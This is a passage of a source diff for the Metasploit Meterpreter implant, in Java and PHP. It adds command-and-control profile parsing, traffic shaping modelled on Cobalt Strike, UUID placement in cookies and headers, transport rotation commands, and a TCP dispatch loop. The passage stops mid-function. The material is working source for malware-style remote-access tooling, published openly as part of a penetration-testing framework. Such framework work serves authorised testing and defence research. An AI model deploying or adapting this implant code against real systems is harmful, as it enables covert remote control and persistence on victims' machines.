((Integer) configPacket.getValue(TLVType.TLV_TYPE_SESSION_FLAGS, new Integer(0))).intValue(); } catch (IOException ioException) { return null; } catch (IllegalArgumentException illegalArgumentException) { @@ -45,26 +47,66 @@ public static Config parseConfig(byte[] configBytes) { } if (transportConfig.url.startsWith("http")) { - String proxyUrl = null; - byte[] loadedHash; try { - proxyUrl = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL); - } catch (IllegalArgumentException illegalArgumentException) { - } - if (proxyUrl != null) { - transportConfig.proxy_url = proxyUrl; + transportConfig.proxy_url = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL); transportConfig.proxy_user = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, ""); transportConfig.proxy_pass = c2Group.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, ""); - transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); - transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); - loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); - if (loadedHash.length > 0) { - transportConfig.cert_hash = loadedHash; - } + } catch (IllegalArgumentException illegalArgumentException) { } + + transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); + transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); + transportConfig.c2_uuid = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UUID, null); + + byte[] loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); + if (loadedHash.length > 0) { + transportConfig.cert_hash = loadedHash; + } + + // Parse C2 profile GET/POST sub-groups + transportConfig.c2Get = parseC2VerbGroup(c2Group, TLVType.TLV_TYPE_C2_GET); + transportConfig.c2Post = parseC2VerbGroup(c2Group, TLVType.TLV_TYPE_C2_POST); } config.transportConfigList.add(transportConfig); } + + List extensionGroups = configPacket.getValues(TLVType.TLV_TYPE_EXTENSION); + for (int i = 0; i < extensionGroups.size(); ++i) { + byte[] data = extensionGroups.get(i).getRawValue(TLVType.TLV_TYPE_DATA, null); + if (data != null && data.length > 0) { + config.extensions.add(data); + } + } + + return config; + } + + private static C2VerbConfig parseC2VerbGroup(TLVPacket c2Group, int groupType) { + TLVPacket verbGroup; + try { + verbGroup = (TLVPacket) c2Group.getValue(groupType); + } catch (IllegalArgumentException e) { + return null; + } + + C2VerbConfig config = new C2VerbConfig(); + // A profile's `set uri` may list several candidate URIs, emitted as + // repeated TLV_TYPE_C2_URI values. Collect them all; the request + // builder picks one at random per request (Cobalt Strike semantics). + List uriValues = verbGroup.getValues(TLVType.TLV_TYPE_C2_URI); + config.uris = (String[]) uriValues.toArray(new String[0]); + config.encInbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_INBOUND, new Integer(0)); + config.encOutbound = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_OUTBOUND, new Integer(0)); + config.encUuid = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC_UUID, new Integer(0)); + config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null); + config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null); + config.uuidPrefix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_PREFIX, ""); + config.uuidSuffix = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_SUFFIX, ""); + config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0)); + config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0)); + config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null); + config.uuidHeader = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_HEADER, null); + config.uuidCookie = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_COOKIE, null); return config; } } diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java index 05a6dc9d7..75612d789 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java @@ -15,4 +15,11 @@ public class TransportConfig { public byte[] cert_hash; public String custom_headers; + // Per-transport UUID for C2 profile placement; falls back to URL path when null. + public String c2_uuid; + + // C2 profile (HTTP only) + public C2VerbConfig c2Get; + public C2VerbConfig c2Post; + } diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 4254964df..597a3f239 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -46,10 +46,22 @@ function register_command($c, $i) { define("MY_DEBUGGING", false); define("MY_DEBUGGING_LOG_FILE_PATH", false); +function my_debugging_enabled() { + return (isset($GLOBALS['DEBUGGING']) ? $GLOBALS['DEBUGGING'] : MY_DEBUGGING) ? true : false; +} + +function my_debugging_path() { + if (isset($GLOBALS['DEBUGGING_LOG_FILE_PATH']) && $GLOBALS['DEBUGGING_LOG_FILE_PATH']) { + return $GLOBALS['DEBUGGING_LOG_FILE_PATH']; + } + return MY_DEBUGGING_LOG_FILE_PATH; +} + function my_logfile($str) { - if (MY_DEBUGGING && MY_DEBUGGING_LOG_FILE_PATH) { + $path = my_debugging_path(); + if (my_debugging_enabled() && $path) { if (!isset($GLOBALS['logfile'])) { - $GLOBALS['logfile'] = fopen(MY_DEBUGGING_LOG_FILE_PATH, 'a'); + $GLOBALS['logfile'] = fopen($path, 'a'); if (!$GLOBALS['logfile']) { my_print("Failed to open debug log file"); @@ -63,7 +75,7 @@ function my_logfile($str) { } function my_print($str) { - if (MY_DEBUGGING) { + if (my_debugging_enabled()) { error_log($str); my_logfile($str); } @@ -125,10 +137,10 @@ function socket_set_option($sock, $type, $opt, $value) { } # -# Payload definitions +# Payload definitions - CONFIG_BLOCK is patched by the framework with a +# base64-encoded TLV configuration packet. # -define("PAYLOAD_UUID", ""); -define("SESSION_GUID", ""); +define("CONFIG_BLOCK", ""); # # Constants @@ -139,6 +151,7 @@ function socket_set_option($sock, $type, $opt, $value) { define("PACKET_TYPE_REQUEST", 0); define("PACKET_TYPE_RESPONSE", 1); +define("PACKET_TYPE_CONFIG", 2); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); @@ -225,6 +238,49 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552); define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553); +define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500); +define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501); +define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502); +define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503); + +# C2/Transport configuration +define("TLV_TYPE_SESSION_EXPIRY", TLV_META_TYPE_UINT | 700); +define("TLV_TYPE_EXITFUNC", TLV_META_TYPE_UINT | 701); +define("TLV_TYPE_DEBUG_LOG", TLV_META_TYPE_STRING | 702); +define("TLV_TYPE_EXTENSION", TLV_META_TYPE_GROUP | 703); +define("TLV_TYPE_C2", TLV_META_TYPE_GROUP | 704); +define("TLV_TYPE_C2_COMM_TIMEOUT", TLV_META_TYPE_UINT | 705); +define("TLV_TYPE_C2_RETRY_TOTAL", TLV_META_TYPE_UINT | 706); +define("TLV_TYPE_C2_RETRY_WAIT", TLV_META_TYPE_UINT | 707); +define("TLV_TYPE_C2_URL", TLV_META_TYPE_STRING | 708); +define("TLV_TYPE_C2_URI", TLV_META_TYPE_STRING | 709); +define("TLV_TYPE_C2_PROXY_URL", TLV_META_TYPE_STRING | 710); +define("TLV_TYPE_C2_PROXY_USER", TLV_META_TYPE_STRING | 711); +define("TLV_TYPE_C2_PROXY_PASS", TLV_META_TYPE_STRING | 712); +define("TLV_TYPE_C2_GET", TLV_META_TYPE_GROUP | 713); +define("TLV_TYPE_C2_POST", TLV_META_TYPE_GROUP | 714); +define("TLV_TYPE_C2_HEADERS", TLV_META_TYPE_STRING | 715); +define("TLV_TYPE_C2_UA", TLV_META_TYPE_STRING | 716); +define("TLV_TYPE_C2_CERT_HASH", TLV_META_TYPE_RAW | 717); +define("TLV_TYPE_C2_PREFIX", TLV_META_TYPE_RAW | 718); +define("TLV_TYPE_C2_SUFFIX", TLV_META_TYPE_RAW | 719); +define("TLV_TYPE_C2_ENC_INBOUND", TLV_META_TYPE_UINT | 720); +define("TLV_TYPE_C2_ENC_OUTBOUND", TLV_META_TYPE_UINT | 728); +define("TLV_TYPE_C2_ENC_UUID", TLV_META_TYPE_UINT | 729); +define("TLV_TYPE_C2_UUID_PREFIX", TLV_META_TYPE_STRING | 730); +define("TLV_TYPE_C2_UUID_SUFFIX", TLV_META_TYPE_STRING | 731); +define("TLV_TYPE_C2_PREFIX_SKIP", TLV_META_TYPE_UINT | 721); +define("TLV_TYPE_C2_SUFFIX_SKIP", TLV_META_TYPE_UINT | 722); +define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723); +define("TLV_TYPE_C2_UUID_GET", TLV_META_TYPE_STRING | 724); +define("TLV_TYPE_C2_UUID_HEADER", TLV_META_TYPE_STRING | 725); +define("TLV_TYPE_C2_UUID", TLV_META_TYPE_STRING | 726); + +# C2 encoding constants +define("C2_ENCODING_NONE", 0); +define("C2_ENCODING_B64", 1); +define("C2_ENCODING_B64URL", 2); + # --------------------------------------------------------------- # --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:33:39 UTC # IDs for core @@ -533,7 +589,9 @@ function interacting($cid) { register_command('core_shutdown', COMMAND_ID_CORE_SHUTDOWN); function core_shutdown($req, &$pkt) { my_print("doing core shutdown"); - die(); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, true)); + $GLOBALS['running'] = false; + return ERROR_SUCCESS; } } @@ -706,6 +764,124 @@ function core_machine_id($req, &$pkt) { # Channel Helper Functions ## } + +if (!function_exists('core_patch_uuid')) { + register_command('core_patch_uuid', COMMAND_ID_CORE_PATCH_UUID); + function core_patch_uuid($req, &$pkt) { + my_print("doing core_patch_uuid"); + $cur_idx = $GLOBALS['current_transport_idx']; + $transport = &$GLOBALS['transport_list'][$cur_idx]; + if ($transport['type'] != 'http') { + return ERROR_FAILURE; + } + $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID); + if ($tlv == null) { return ERROR_FAILURE; } + $new_uuid = $tlv['value']; + # Like metsrv request_core_patch_uuid: only swap the UUID. The URL is + # rebuilt from the (untouched) base each request, so the base path/LURI + # and any cookie/header/get-param placement stay intact. + $transport['c2_uuid'] = $new_uuid; + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_list')) { + register_command('core_transport_list', COMMAND_ID_CORE_TRANSPORT_LIST); + function core_transport_list($req, &$pkt) { + my_print("doing core_transport_list"); + $expiry = $GLOBALS['session_expiry_end'] - time(); + if ($expiry < 0) { $expiry = 0; } + packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_EXPIRY, $expiry)); + # Emit current first, then rotate forward (matches Python ordering) + $cur = $GLOBALS['current_transport_idx']; + $count = count($GLOBALS['transport_list']); + for ($i = 0; $i < $count; $i++) { + $idx = ($cur + $i) % $count; + $t = $GLOBALS['transport_list'][$idx]; + packet_add_tlv($pkt, create_tlv(TLV_TYPE_C2, tlv_pack_transport_group($t))); + } + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_next')) { + register_command('core_transport_next', COMMAND_ID_CORE_TRANSPORT_NEXT); + function core_transport_next($req, &$pkt) { + my_print("doing core_transport_next"); + $new_idx = transport_next_idx(); + if ($new_idx == $GLOBALS['current_transport_idx']) { + return ERROR_FAILURE; + } + request_transport_switch($new_idx); + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_prev')) { + register_command('core_transport_prev', COMMAND_ID_CORE_TRANSPORT_PREV); + function core_transport_prev($req, &$pkt) { + my_print("doing core_transport_prev"); + $new_idx = transport_prev_idx(); + if ($new_idx == $GLOBALS['current_transport_idx']) { + return ERROR_FAILURE; + } + request_transport_switch($new_idx); + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_add')) { + register_command('core_transport_add', COMMAND_ID_CORE_TRANSPORT_ADD); + function core_transport_add($req, &$pkt) { + my_print("doing core_transport_add"); + $t = parse_transport_from_request($req); + if ($t == null) { return ERROR_FAILURE; } + # Insert before the current transport; current_transport_idx shifts forward + # to keep pointing at the same transport object. + $cur = $GLOBALS['current_transport_idx']; + array_splice($GLOBALS['transport_list'], $cur, 0, array($t)); + $GLOBALS['current_transport_idx'] = $cur + 1; + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_remove')) { + register_command('core_transport_remove', COMMAND_ID_CORE_TRANSPORT_REMOVE); + function core_transport_remove($req, &$pkt) { + my_print("doing core_transport_remove"); + $tlv = packet_get_tlv($req, TLV_TYPE_C2_URL); + if ($tlv == null) { return ERROR_FAILURE; } + $url = $tlv['value']; + $cur_idx = $GLOBALS['current_transport_idx']; + if ($GLOBALS['transport_list'][$cur_idx]['url'] == $url) { + # Can't remove the active transport + return ERROR_FAILURE; + } + $rm_idx = transport_find_idx_by_url($url); + if ($rm_idx < 0) { return ERROR_FAILURE; } + array_splice($GLOBALS['transport_list'], $rm_idx, 1); + if ($rm_idx < $cur_idx) { + $GLOBALS['current_transport_idx']--; + } + return ERROR_SUCCESS; + } +} + +if (!function_exists('core_transport_change')) { + register_command('core_transport_change', COMMAND_ID_CORE_TRANSPORT_CHANGE); + function core_transport_change($req, &$pkt) { + my_print("doing core_transport_change"); + $t = parse_transport_from_request($req); + if ($t == null) { return ERROR_FAILURE; } + # Insert AFTER the current transport so the response still goes out on + # the old one. Request a switch to the newly-inserted index. + $cur = $GLOBALS['current_transport_idx']; + array_splice($GLOBALS['transport_list'], $cur + 1, 0, array($t)); + request_transport_switch($cur + 1); + return ERROR_SUCCESS; + } +} + $channels = array(); function register_channel($in, $out=null, $err=null, $subtype=null) { @@ -890,7 +1066,12 @@ function supports_aes() { function decrypt_packet($raw) { $len_array = unpack("Nlen", substr($raw, 20, 4)); $encrypt_flags = $len_array['len']; - if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null) { + $type_array = unpack("Ntype", substr($raw, 28, 4)); + $pkt_type = $type_array['type']; + # Like python: config packets are never AES-encrypted even when a key is + # set (the key arrives in a config packet), so don't try to decrypt them. + if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null + && $pkt_type != PACKET_TYPE_CONFIG) { $tlv = substr($raw, 24); $dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16)); return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec; @@ -1066,6 +1247,12 @@ function tlv_unpack($raw_tlv) { $tlv = unpack("Nlen/Ntype", $raw_tlv); $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); } + elseif (($type & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { + # A group's value is the raw concatenation of its sub-TLVs; callers + # (packet_get_tlv_raw / parse_c2_verb_config) parse into it. + $tlv = unpack("Nlen/Ntype", $raw_tlv); + $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); + } else { my_print("Wtf type is this? $type"); $tlv = null; @@ -1098,6 +1285,455 @@ function packet_get_tlv($pkt, $type) { } +function packet_get_tlv_raw($raw, $type) { + $offset = 0; + while ($offset < strlen($raw)) { + $tlv = tlv_unpack(substr($raw, $offset)); + if ($tlv == null) { break; } + if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { + return $tlv; + } + $offset += $tlv['len']; + } + return null; +} + +function packet_enum_tlvs_raw($raw, $type) { + $offset = 0; + $all = array(); + while ($offset < strlen($raw)) { + $tlv = tlv_unpack(substr($raw, $offset)); + if ($tlv == null) { break; } + if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { + $all[] = $tlv; + } + $offset += $tlv['len']; + } + return $all; +} + +# Like packet_enum_tlvs_raw but starts at offset 8 to skip the packet +# [length][type] header (use on full packets, not header-less group values). +function packet_enum_tlvs($pkt, $type) { + return packet_enum_tlvs_raw(substr($pkt, 8), $type); +} + +function parse_c2_verb_config($group_bytes) { + $config = array(); + # A profile's `set uri` may list several candidate URIs, emitted as + # repeated TLV_TYPE_C2_URI values. Collect them all; the request builder + # picks one at random per request (Cobalt Strike semantics). + $config['uris'] = array(); + foreach (packet_enum_tlvs_raw($group_bytes, TLV_TYPE_C2_URI) as $uri_tlv) { + $config['uris'][] = $uri_tlv['value']; + } + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_INBOUND); + $config['enc_inbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_OUTBOUND); + $config['enc_outbound'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC_UUID); + $config['enc_uuid'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_PREFIX); + $config['uuid_prefix'] = ($tlv != null) ? $tlv['value'] : ''; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_SUFFIX); + $config['uuid_suffix'] = ($tlv != null) ? $tlv['value'] : ''; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX); + $config['prefix'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX); + $config['suffix'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX_SKIP); + $config['prefix_skip'] = ($tlv != null) ? $tlv['value'] : 0; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX_SKIP); + $config['suffix_skip'] = ($tlv != null) ? $tlv['value'] : 0; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_GET); + $config['uuid_get'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_HEADER); + $config['uuid_header'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_COOKIE); + $config['uuid_cookie'] = ($tlv != null) ? $tlv['value'] : null; + return $config; +} + +function parse_config_block($raw) { + $config_bytes = decrypt_packet(xor_bytes(substr($raw, 0, 4), $raw)); + + $config = array(); + + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_UUID); + $config['uuid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16); + + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SESSION_GUID); + $config['session_guid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16); + + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SESSION_EXPIRY); + $config['session_expiry'] = ($tlv != null) ? $tlv['value'] : 604800; + + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_DEBUG_LOG); + $config['debug_log'] = ($tlv != null) ? $tlv['value'] : null; + + $tlv = packet_get_tlv($config_bytes, TLV_TYPE_SYM_KEY); + $config['sym_key'] = ($tlv != null) ? $tlv['value'] : null; + + $transports = array(); + foreach (packet_enum_tlvs($config_bytes, TLV_TYPE_C2) as $c2_tlv) { + $c2_bytes = $c2_tlv['value']; + + $t = array(); + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_URL); + if ($tlv == null) { continue; } + $t['url'] = $tlv['value']; + + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_COMM_TIMEOUT); + $t['comm_timeout'] = ($tlv != null) ? $tlv['value'] : 300; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_RETRY_TOTAL); + $t['retry_total'] = ($tlv != null) ? $tlv['value'] : 3600; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_RETRY_WAIT); + $t['retry_wait'] = ($tlv != null) ? $tlv['value'] : 10; + + if (strpos($t['url'], 'http') === 0) { + $t['type'] = 'http'; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_UA); + $t['ua'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_URL); + $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_USER); + $t['proxy_user'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_PASS); + $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_HEADERS); + $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_UUID); + $t['c2_uuid'] = ($tlv != null) ? $tlv['value'] : null; + + $get_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_GET); + $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null; + $post_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_POST); + $t['c2_post'] = ($post_group != null) ? parse_c2_verb_config($post_group['value']) : null; + } else { + $t['type'] = 'tcp'; + } + + $transports[] = $t; + } + $config['transports'] = $transports; + + $extensions = array(); + foreach (packet_enum_tlvs($config_bytes, TLV_TYPE_EXTENSION) as $ext_tlv) { + $data_tlv = packet_get_tlv_raw($ext_tlv['value'], TLV_TYPE_DATA); + if ($data_tlv != null && strlen($data_tlv['value']) > 0) { + $extensions[] = $data_tlv['value']; + } + } + $config['extensions'] = $extensions; + + return $config; +} + +## +# Multi-transport rotation helpers +## +define('DISPATCH_EXIT', 0); # session ended or shutdown requested +define('DISPATCH_RETIRE', 1); # current transport timed out / disconnected +define('DISPATCH_SWITCH', 2); # explicit transport switch requested + +function transport_next_idx($idx = null) { + if ($idx === null) { $idx = $GLOBALS['current_transport_idx']; } + $count = count($GLOBALS['transport_list']); + return ($idx + 1) % $count; +} + +function transport_prev_idx($idx = null) { + if ($idx === null) { $idx = $GLOBALS['current_transport_idx']; } + $count = count($GLOBALS['transport_list']); + return ($idx - 1 + $count) % $count; +} + +function transport_find_idx_by_url($url) { + foreach ($GLOBALS['transport_list'] as $i => $t) { + if ($t['url'] == $url) { return $i; } + } + return -1; +} + +function request_transport_switch($new_idx) { + $GLOBALS['next_transport_idx'] = $new_idx; +} + +function parse_transport_from_request($req) { + # Mirror parse_config_block per-transport parsing, but from a TLV packet + # (with header) instead of a raw C2 group's bytes. + $url_tlv = packet_get_tlv($req, TLV_TYPE_C2_URL); + if ($url_tlv == null) { return null; } + $t = array('url' => $url_tlv['value']); + + $tlv = packet_get_tlv($req, TLV_TYPE_C2_COMM_TIMEOUT); + $t['comm_timeout'] = ($tlv != null) ? $tlv['value'] : 300; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_RETRY_TOTAL); + $t['retry_total'] = ($tlv != null) ? $tlv['value'] : 3600; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_RETRY_WAIT); + $t['retry_wait'] = ($tlv != null) ? $tlv['value'] : 10; + + if (strpos($t['url'], 'http') === 0) { + $t['type'] = 'http'; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_UA); + $t['ua'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_URL); + $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_USER); + $t['proxy_user'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_PASS); + $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_HEADERS); + $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID); + $t['c2_uuid'] = ($tlv != null) ? $tlv['value'] : null; + + $get_group = packet_get_tlv($req, TLV_TYPE_C2_GET); + $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null; + $post_group = packet_get_tlv($req, TLV_TYPE_C2_POST); + $t['c2_post'] = ($post_group != null) ? parse_c2_verb_config($post_group['value']) : null; + } else { + $t['type'] = 'tcp'; + } + return $t; +} + +function tlv_pack_transport_group($t) { + $group = tlv_pack(create_tlv(TLV_TYPE_C2_URL, $t['url'])); + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_COMM_TIMEOUT, $t['comm_timeout'])); + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_RETRY_TOTAL, $t['retry_total'])); + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_RETRY_WAIT, $t['retry_wait'])); + if ($t['type'] == 'http') { + if (!empty($t['ua'])) { + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_UA, $t['ua'])); + } + if (!empty($t['proxy_url'])) { + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_PROXY_URL, $t['proxy_url'])); + } + if (!empty($t['c2_uuid'])) { + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_UUID, $t['c2_uuid'])); + } + } + return $group; +} + +function activate_transport(&$transport) { + if ($transport['type'] == 'http') { + return true; + } + # TCP: use the pre-connected stager socket on the first attempt of the first + # transport. Subsequent TCP transports must open a fresh socket. + if (isset($GLOBALS['msgsock']) && empty($GLOBALS['_msgsock_consumed'])) { + $msgsock = $GLOBALS['msgsock']; + $msgsock_type = $GLOBALS['msgsock_type']; + switch ($msgsock_type) { + case 'socket': + register_socket($msgsock); + break; + case 'stream': + default: + register_stream($msgsock); + } + $transport['_socket'] = $msgsock; + $GLOBALS['_msgsock_consumed'] = true; + return true; + } + $url_parts = parse_url($transport['url']); + if (!isset($url_parts['host']) || !isset($url_parts['port'])) { + my_print("Invalid TCP transport URL: " . $transport['url']); + return false; + } + my_print("TCP transport, connecting to " . $url_parts['host'] . ":" . $url_parts['port']); + $sock = connect($url_parts['host'], $url_parts['port']); + if (!$sock) { return false; } + $transport['_socket'] = $sock; + return true; +} + +function activate_transport_with_retry(&$transport) { + $end = time() + $transport['retry_total']; + $first = true; + while (time() < $end) { + if (!$first) { + $wait = max(1, (int)$transport['retry_wait']); + sleep($wait); + } + if (activate_transport($transport)) { + return true; + } + $first = false; + } + return false; +} + +function dispatch_tcp(&$transport) { + $msgsock = $transport['_socket']; + add_reader($msgsock); + $r = $GLOBALS['readers']; + $w = null; $e = null; $t = 1; + while (false !== ($cnt = select($r, $w, $e, $t))) { + if (empty($GLOBALS['running']) || time() > $GLOBALS['session_expiry_end']) { + remove_reader($msgsock); close($msgsock); + return DISPATCH_EXIT; + } + if ($GLOBALS['next_transport_idx'] !== null) { + remove_reader($msgsock); close($msgsock); + return DISPATCH_SWITCH; + } + for ($i = 0; $i < $cnt; $i++) { + $ready = $r[$i]; + if ($ready == $msgsock) { + $packet = read($msgsock, 32); + if (false == $packet) { + remove_reader($msgsock); close($msgsock); + return DISPATCH_RETIRE; + } + $xor = substr($packet, 0, 4); + $header = xor_bytes($xor, substr($packet, 4, 28)); + $len_array = unpack("Nlen", substr($header, 20, 4)); + $len = $len_array['len'] + 32 - 8; + while (strlen($packet) < $len) { + $packet .= read($msgsock, $len - strlen($packet)); + } + $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); + write_tlv_to_socket($msgsock, $response); + } else { + #my_print("not Msgsock: $ready"); + $chan_id = get_channel_id_from_resource($ready); + $channel = false; + if ($chan_id !== false) { + $channel = get_channel_by_id($chan_id); + } + + if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') { + $client_sock = false; + $client_addr = ''; + $client_port = 0; + $server_addr = ''; + $server_port = 0; + + switch (get_rtype($ready)) { + case 'socket': + $client_sock = @socket_accept($ready); + if ($client_sock) { + @socket_getpeername($client_sock, $client_addr, $client_port); + @socket_getsockname($ready, $server_addr, $server_port); + register_socket($client_sock); + } + break; + case 'stream': + $peer_name = ''; + $client_sock = @stream_socket_accept($ready, 0, $peer_name); + if ($client_sock) { + $local_name = stream_socket_get_name($ready, false); + if (!is_string($peer_name)) { + $peer_name = ''; + } + if (!is_string($local_name)) { + $local_name = ''; + } + + if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) { + $client_addr = $matches[1]; + $client_port = (int)$matches[2]; + } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) { + $client_addr = $matches[1]; + $client_port = (int)$matches[2]; + } + + if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) { + $server_addr = $matches[1]; + $server_port = (int)$matches[2]; + } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) { + $server_addr = $matches[1]; + $server_port = (int)$matches[2]; + } + + register_stream($client_sock); + } + break; + } + + if 